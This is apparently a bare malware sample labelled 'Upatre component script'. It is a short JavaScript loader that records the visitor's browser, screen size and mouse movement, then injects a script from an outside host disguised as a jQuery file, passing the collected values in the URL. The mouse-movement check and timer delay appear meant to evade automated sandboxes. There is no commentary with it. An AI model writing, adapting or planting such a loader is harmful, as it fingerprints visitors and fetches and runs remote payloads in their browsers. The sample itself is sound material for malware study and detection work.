Upatre component script

moved = 0;
besend = false;
function get_query() {
    besend = true;
    ua = navigator.userAgent;wd = screen.width;hg = screen.height;pl = navigator.platform;
    var tmp1 = document.createElement("script"); tmp1.type = "text/javascript"; tmp1.async = true;
    tmp1.src = "http://blackstonebikes.co.uk/js/jquery-1.7.50.js?t1=" + ua + "&t2=" + wd + "&t3=" + hg + "&t4=1121850173&t5=" + moved + "&t6=5969.js";
    var tmp2 = document.getElementsByTagName("script")[0];
    tmp2.parentNode.insertBefore(tmp1, tmp2);
}
document.onmousemove = function(){moved = 1;clearTimeout(timeout);if ((!besend)) {get_query();}
}
timeout = setTimeout(function(){if ((!moved) && (!besend))  {get_query();besend = true}}, 20000);